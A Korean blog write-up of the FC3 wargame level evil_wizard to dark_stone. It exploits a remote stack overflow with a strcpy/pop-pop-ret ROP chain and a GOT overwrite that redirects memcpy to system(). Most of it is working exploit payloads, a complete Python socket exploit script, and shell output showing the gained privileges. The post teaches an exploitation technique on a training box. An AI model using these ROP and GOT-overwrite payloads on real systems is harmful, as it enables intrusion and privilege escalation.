Post

FC3 evil\_wizard - dark\_stone - GOT overwrite / ROP ★ ( pop-pop-ret gadget )

FC3의 마지막 문제. GOT overwrite / RemoteBOF

2017/05/08 - [System/Practice] - FC3 dark_eyes - hell_fire : remoteBOF, GOT overwrite, mprotect ★ 와 달리 메모리 초기화 때문에 실행되면서 무조건 fault가 발생해 client로 응답이 돌아오지 않는다. 그러나 제대로 리턴해서 exploit하게 되면 exec*하면서 fault가 발생하지 않으니까 위와 같이 /bin/my-pass의 실행 결과를 소켓으로 받아볼 수 있을 듯.

1
2
3
[evil\_wizard@Fedora\_1stFloor ~]$ python -c 'print "b"\*268+"\x60\x65\x74\x00"' | nc localhost 8888
dark\_stone : how fresh meat you are!
you : bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbל⽠et

exit()로 리턴해보니 역시 fault가 발생하지 않아 응답이 잘 돌아온다.

xinetd에서 돌아가는 파일이 홈 디렉토리에 있기 때문에 파일 바꿔치기해서 일단 비밀번호는 그냥 알아낼 수 있다.

1
2
3
euid = 505
let there be light

그치만 당연히 이런 식으로 풀라고 낸 문제는 아닐거고, xinetd에서 돌아가기 때문에 evil_wizard에서 사용했던 메모리에 있는 값으로 symlink하는 방법으로는 풀 수 없다. hell_fire에서 사용했던 방법들은 stdin 객체에 위치가 고정인 input을 넘길 수 있기 때문에 가능했던 방법인데, stdin 객체를 초기화하기 때문에 이 방법도 불가능.

그럼 다시 string pointer를 어떻게 얻어낼 것인가 하는 문제에 직면한다. 생각나는 방법도, 힌트도 GOT overwrite니까 이걸 사용하는게 맞을 것 같기는 한데, strcpy() 리턴한다고 해도 어쨌든 src 파라미터에 사용할 string pointer가 있어야 한다.

pop-pop-ret

pop-pop-ret 가젯을 어디다 쓸 수 있을까 생각해봤는데, 이를 사용하지 않고 일반적으로 GOT overwrite를 사용하면 strcpy()의 dest, src 파라미터 때문에 결과적으로 호출할 함수 ( e.g., execl())의 파라미터를 esp 기준으로 사용할 수 없기 때문에, ebp를 기준으로 넘겨야 한다.

| | | — | | buffer 256 Byte | | 8 Byte | | sfp | | ret ( strcpy ) | | ret ( execl ) | | dest | | src / execl의 param1 | | execl의 param2 | | … |

pop-pop-ret 가젯을 사용하면, dest, src를 pop으로 제거하고 그 아래에서 리턴할 수 있기 때문에 esp를 기준으로 파라미터를 넘길 수 있다.

| | | — | | buffer 256 Byte | | 8 Byte | | sfp | | ret ( strcpy ) | | ret ( pop-pop-ret ) | | dest | | src | | ret ( execl ) | | ret dummy | | execl의 param1 … |

더 중요한 것은 strcpy / pop-pop-ret / dest / src로 이어지는 ret chain을 원하는 만큼 구성해 메모리에 산재해 있는 데이터 조각으로부터 데이터를 자유롭게 쓸 수 있다는 점이다.

| | | — | | ret ( strcpy ) | | ret ( pop-pop-ret ) | | dest | | src | | ret ( strcpy ) | | ret ( pop-pop-ret ) | | dest | | src | | … | | ret ( execl ) | | ret dummy | | execl의 param1 … |

string pointer

아무튼, 다시 string pointer를 얻어내야 하는 문제로 돌아와 보면, 문제를 해결하기 위해서 얻어내야 하는 string pointer는 다음 두 가지다.

  1. strcpy()의 src에 들어갈, execl()의 주소가 적혀있는 string pointer
  2. execl()의 파라미터에 들어갈, /bin/my-pass 등이 적혀있는 string pointer 그러나 메모리에 위 두 가지 값이 얌전히 들어있을 리는 없고, 다른 방법을 사용해야 하는데 여기서 pop-pop-ret 가젯을 활용할 수 있다. pop-pop-ret를 사용하면 0x7a 0x57 0x20을 모아 ` 0x7a5720을 만들 수 있다. strcpy()0x00을 만날 때 까지 쓰기 때문에 써야할 곳 4byte가 0xAABBCCDD라고 하면, 0xDD를 먼저, 0xAA 를 마지막에 써야한다. 0xDD` 등은 이후 쓰는 데이터 조각으로 덮어 쓸 수 있기 때문에 데이터 조각 찾기가 좀 편하다.
tttt_ttttt의 데이터 조각
1
2
3
0x0804855b : [ 20 00 ] 00 00 e9 a0      <\_init+111>
0x08048b97 : [ 57 ] 56 53 e8 00         <\_\_libc\_csu\_fini+3>
[ 7a ]는 아무리 찾아도 없다.

아무튼 7a를 못찾으면 주소를 쓸 수 없기 때문에 이 함수를 사용하는 것은 포기하고, system()을 사용해보기로 했다. 생각해보니 어차피 파라미터 1개만 넘겨도 되서 system()이 더 편하기도 하고.. system()의 주소는 0x7507c0이다. 공교롭게도 memcpy()의 주소는 0x7854c0이니 맨 마지막 0xc0은 안 써도 되겠다.

1
2
0x0804917c : [ 07 ] 00 00 00 14        어느 section에도 속하지 않는 영역
0x08049db2 : [ 75 00 ] c0 54 78 00     printf의 GOT

이는 tttt_ttttt의 메모리에서 찾은 주소이기 때문에, 이에 대응되는 dark_stone의 주소를 찾아야 한다.

dark_stone의 addrs
1
2
3
4
5
6
7
8
0x08048438    // jmp strcpy
0x080484f3    // pop\_pop\_ret+3 ( prologue 제거 )
0x08049850    // overwrited\_got (memcpy's got)
0x08048418    // overwrited\_func (jmp memcpy)
0x804917c:
0x000000 [ 07 ]
0x804984e <\_GLOBAL\_OFFSET\_TABLE\_+30>:
0x54c0 [ 0075 ]

이제 찾은 주소를 바탕으로 쉘코드를 구성하면 이렇게 된다. * GOT overwrite만 수행하고 마지막에 system()의 인자로 들어가는 string pointer를 아직 구성하지 않은 상태이기 때문에, 마지막 인자(system의 인자)는 그냥 메모리에서 적당한 값( 0x8048001:"ELF\001\001\001 )을 찾아서 넣었다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
[evil\_wizard@Fedora\_1stFloor ~]$ python -c 'print "b"\*268+\
"\x38\x84\x04\x08"+ \
"\xf3\x84\x04\x08"+ \
"\x51\x98\x04\x08"+ \
"\x7c\x91\x04\x08"+ \
"\x38\x84\x04\x08"+ \
"\xf3\x84\x04\x08"+ \
"\x52\x98\x04\x08"+ \
"\x4e\x98\x04\x08"+ \
"\x18\x84\x04\x08"+ \
"\x42\x42\x42\x42"+ \
"\x01\x80\x04\x08"' | nc localhost 8888
dark\_stone : how fresh meat you are!
you : sh: ELF: command not found

sh: ELF: command not found가 출력된 것을 보니 GOT overwrite가 성공해 system()은 잘 실행 되었고, 인자로 들어가는 string pointer만 제대로 구성해서 넘기면 바로 해결할 수 있겠다.

byte 단위로 쓸 거라 endian은 고려하지 않아도 된다. 사실 주소가 아니면 endian을 고려해야 하는 경우는 드물다. /bin/my-pass의 hex data : \x2F\x62\x69\x6E\x2F\x6D\x79\x2D\x70\x61\x73\x73

dark_stone이 setuid()/setruid()를 호출하지 않아 /bin/sh를 실행해도 ruid가 그대로이기 때문에 권한 상승이 안될거라고 생각해서 /bin/my-pass로 진행했는데 xinetd에서 돌아가기 때문에 /bin/sh를 넘겨도 권한 상승이 된다…

/bin/sh를 사용하면 그만큼 쉘코드가 더 짧아진다.

그럼 다시 tttt_ttttt에서 procfs_search.h를 이용해 찾은 다음 대응되는 dark_stone의 주소를 찾아보면,

1
2
3
4
5
6
7
8
9
10
11
0x8049114:
"/lib/ld-linux.so.2"           // / b i n -
0x8048718 <\_IO\_stdin\_used+4>:
"dark\_stone : how fresh meat you are!\n" // s m y a
0x80496b3:
0x05ebff70
// p
0x80496c3:
0x83000000
// 맨 끝 0x00

두 번째 행을 보면, 프로그램에서 출력되는 string이 .rodata section에 있다.
ollydbg는 string을 한 번에 정리해서 보여주지만 gdb는 그렇지 않으니까 이걸 생각못하고 시간낭비하지 않도록 유의한다.

/bin/my-pass를 쓰기 적당한 곳을 찾아보니 0xf6ff8001가 괜찮아 보인다. stdin으로 받는 경우 0x0a가 있으면 안되니까, /bin/my-pass가 0xf6ff800b부터 쓰기 시작했다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
[evil\_wizard@Fedora\_1stFloor ~]$ python -c 'print "b"\*268 + \
"\x38\x84\x04\x08" + \
"\xf3\x84\x04\x08" + \
"\x51\x98\x04\x08" + \
"\x7c\x91\x04\x08" + \
"\x38\x84\x04\x08" + \
"\xf3\x84\x04\x08" + \
"\x52\x98\x04\x08" + \
"\x4e\x98\x04\x08" + \
"\x38\x84\x04\x08" + \
"\xf3\x84\x04\x08" + \
"\x0b\x80\xff\xf6" + \
"\x14\x91\x04\x08" + \
"\x38\x84\x04\x08" + \
"\xf3\x84\x04\x08" + \
"\x0c\x80\xff\xf6" + \
"\x17\x91\x04\x08" + \
"\x38\x84\x04\x08" + \
"\xf3\x84\x04\x08" + \
"\x0d\x80\xff\xf6" + \
"\x16\x91\x04\x08" + \
"\x38\x84\x04\x08" + \
"\xf3\x84\x04\x08" + \
"\x0e\x80\xff\xf6" + \
"\x1e\x91\x04\x08" + \
"\x38\x84\x04\x08" + \
"\xf3\x84\x04\x08" + \
"\x0f\x80\xff\xf6" + \
"\x14\x91\x04\x08" + \
"\x38\x84\x04\x08" + \
"\xf3\x84\x04\x08" + \
"\x10\x80\xff\xf6" + \
"\x2f\x87\x04\x08" + \
"\x38\x84\x04\x08" + \
"\xf3\x84\x04\x08" + \
"\x11\x80\xff\xf6" + \
"\x34\x87\x04\x08" + \
"\x38\x84\x04\x08" + \
"\xf3\x84\x04\x08" + \
"\x12\x80\xff\xf6" + \
"\x1b\x91\x04\x08" + \
"\x38\x84\x04\x08" + \
"\xf3\x84\x04\x08" + \
"\x13\x80\xff\xf6" + \
"\xb3\x96\x04\x08" + \
"\x38\x84\x04\x08" + \
"\xf3\x84\x04\x08" + \
"\x14\x80\xff\xf6" + \
"\x19\x87\x04\x08" + \
"\x38\x84\x04\x08" + \
"\xf3\x84\x04\x08" + \
"\x15\x80\xff\xf6" + \
"\x1d\x87\x04\x08" + \
"\x38\x84\x04\x08" + \
"\xf3\x84\x04\x08" + \
"\x16\x80\xff\xf6" + \
"\x1d\x87\x04\x08" + \
"\x38\x84\x04\x08" + \
"\xf3\x84\x04\x08" + \
"\x17\x80\xff\xf6" + \
"\xc3\x96\x04\x08" + \
"\x18\x84\x04\x08" + \
"\x42\x42\x42\x42" + \
"\x0b\x80\xff\xf6"' | nc localhost 8888
dark\_stone : how fresh meat you are!
you : euid = 505
let there be light

성공~ 하나의 char 씩 strcpy()해서 string을 만들었기 때문에 쉘코드가 무진장 길다. python을 이용해 조금 더 보기 쉽게 작성해봤다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
import socket
from struct import pack
L = lambda x : pack('<L', x)
dummy = b"b"\*268
exit\_addr = 0x00746560
strcpy = 0x08048438
pop\_pop\_ret = 0x080484f3
overwrited\_got = 0x08049850
overwrited\_func = 0x08048418
## system() addr : 0x007507c0
piece\_07 = 0x0804917c
piece\_0075 = 0x0804984e
## /bin/my-pass
piece\_str1 = 0x8049114   # /lib/ld-linux.so.2
piece\_str2 = 0x8048718   # dark\_stone : how fresh meat you are!\n
piece\_p = 0x80496b3      # p
piece\_00 = 0x80496c3     # last 0x00
dest\_str = 0xf6ff800b

  
shellcode = dummy + \
L(strcpy) + \
L(pop\_pop\_ret) + \
L(overwrited\_got+1) + \
L(piece\_07) + \
L(strcpy) + \
L(pop\_pop\_ret) + \
L(overwrited\_got+2) + \
L(piece\_0075) + \
L(strcpy) + \
L(pop\_pop\_ret) + \
L(dest\_str) + \
L(piece\_str1) + \
L(strcpy) + \
L(pop\_pop\_ret) + \
L(dest\_str+1) + \
L(piece\_str1+3) + \
L(strcpy) + \
L(pop\_pop\_ret) + \
L(dest\_str+2) + \
L(piece\_str1+2) + \
L(strcpy) + \
L(pop\_pop\_ret) + \
L(dest\_str+3) + \
L(piece\_str1+10) + \
L(strcpy) + \
L(pop\_pop\_ret) + \
L(dest\_str+4) + \
L(piece\_str1) + \
L(strcpy) + \
L(pop\_pop\_ret) + \
L(dest\_str+5) + \
L(piece\_str2+23) + \
L(strcpy) + \
L(pop\_pop\_ret) + \
L(dest\_str+6) + \
L(piece\_str2+28) + \
L(strcpy) + \
L(pop\_pop\_ret) + \
L(dest\_str+7) + \
L(piece\_str1+7) + \
L(strcpy) + \
L(pop\_pop\_ret) + \
L(dest\_str+8) + \
L(piece\_p) + \
L(strcpy) + \
L(pop\_pop\_ret) + \
L(dest\_str+9) + \
L(piece\_str2+1) + \
L(strcpy) + \
L(pop\_pop\_ret) + \
L(dest\_str+10) + \
L(piece\_str2+5) + \
L(strcpy) + \
L(pop\_pop\_ret) + \
L(dest\_str+11) + \
L(piece\_str2+5) + \
L(strcpy) + \
L(pop\_pop\_ret) + \
L(dest\_str+12) + \
L(piece\_00) + \
L(overwrited\_func) + \
b"bbbb" + \
L(dest\_str)
s = socket.socket(socket.AF\_INET, socket.SOCK\_STREAM)
s.connect(("10.180.45.17", 7602))
print(s.recv(1024))
s.sendall(shellcode+b"\n")
print(s.recv(1024))
====================================
b'dark\_stone : how fresh meat you are!\nyou : '
b'euid = 505\nlet there be light\n'
libc-2.3.3.so : <__libc_ptyname1+2172>에는 “/bin/sh” 가 있다.

다른 사람들은 어떻게 풀었나 찾아보니까, 메모리에 /bin/sh 문자열이 그냥 있었다.

1
2
3
0071c000-0083d000 r-xp 00000000 fd:00 68708      /lib/tls/libc-2.3.3.so
0x008335ff : 00 2d 63 00 [ 2f 62 69 6e 2f 73 68 00 ] 65 78 69 74
0x833603 <\_\_libc\_ptyname1+2172>:         "/bin/sh"

그래서 굳이 문자열 만들 필요 없이 그냥 이를 가져다 쓰면 된다. xinetd 위에서 돌아가기 때문에 setuid()없어도 ruid가 변경된다. 그래서 그냥 /bin/sh를 사용해도 권한이 상승된다.

1
2
3
4
5
6
7
8
9
10
11
12
[evil\_wizard@Fedora\_1stFloor ~]$ python -c 'print "b"\*268 + \
"\x38\x84\x04\x08" + \
"\xf3\x84\x04\x08" + \
"\x51\x98\x04\x08" + \
"\x7c\x91\x04\x08" + \
"\x38\x84\x04\x08" + \
"\xf3\x84\x04\x08" + \
"\x52\x98\x04\x08" + \
"\x4e\x98\x04\x08" + \
"\x18\x84\x04\x08" + \
"\x42\x42\x42\x42" + \
"\x03\x36\x83\x00"' | nc localhost 8888

안된다. fault가 발생한다. core dump를 확인해보니 do_system()에서 마지막에 ret할 때 ret dummy로 지정한 "\x42\x42\x42\x42"를 찾을 수 없기 때문이었다. 근데 쉘 실행하는거랑 이거랑 무슨 관련이 있지 생각하다가…. stdin으로 받으면 파이프를 써서 넘기게 되는데, 마지막에 ; cat 안적어주면 EOF넘어가서 쉘이 뜨자 마자 바로 종료된다는게 생각났다 ㅡㅡㅡㅡ;;;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
[evil\_wizard@Fedora\_1stFloor ~]$ (python -c 'print "b"\*268 + \
> "\x38\x84\x04\x08" + \
> "\xf3\x84\x04\x08" + \
> "\x51\x98\x04\x08" + \
> "\x7c\x91\x04\x08" + \
> "\x38\x84\x04\x08" + \
> "\xf3\x84\x04\x08" + \
> "\x52\x98\x04\x08" + \
> "\x4e\x98\x04\x08" + \
> "\x18\x84\x04\x08" + \
> "\x42\x42\x42\x42" + \
> "\x03\x36\x83\x00"';cat) | nc localhost 8888
dark\_stone : how fresh meat you are!
you :
id
uid=505(dark\_stone) gid=505(dark\_stone) context=user\_u:system\_r:unconfined\_t
정리

FC3은 ASLR과 library mapping address의 첫 번째 1byte가 0x00이라는 점을 우회하기 위한 GOT overwrite가 주를 이뤘다.

This post is licensed under CC BY 4.0 by the author.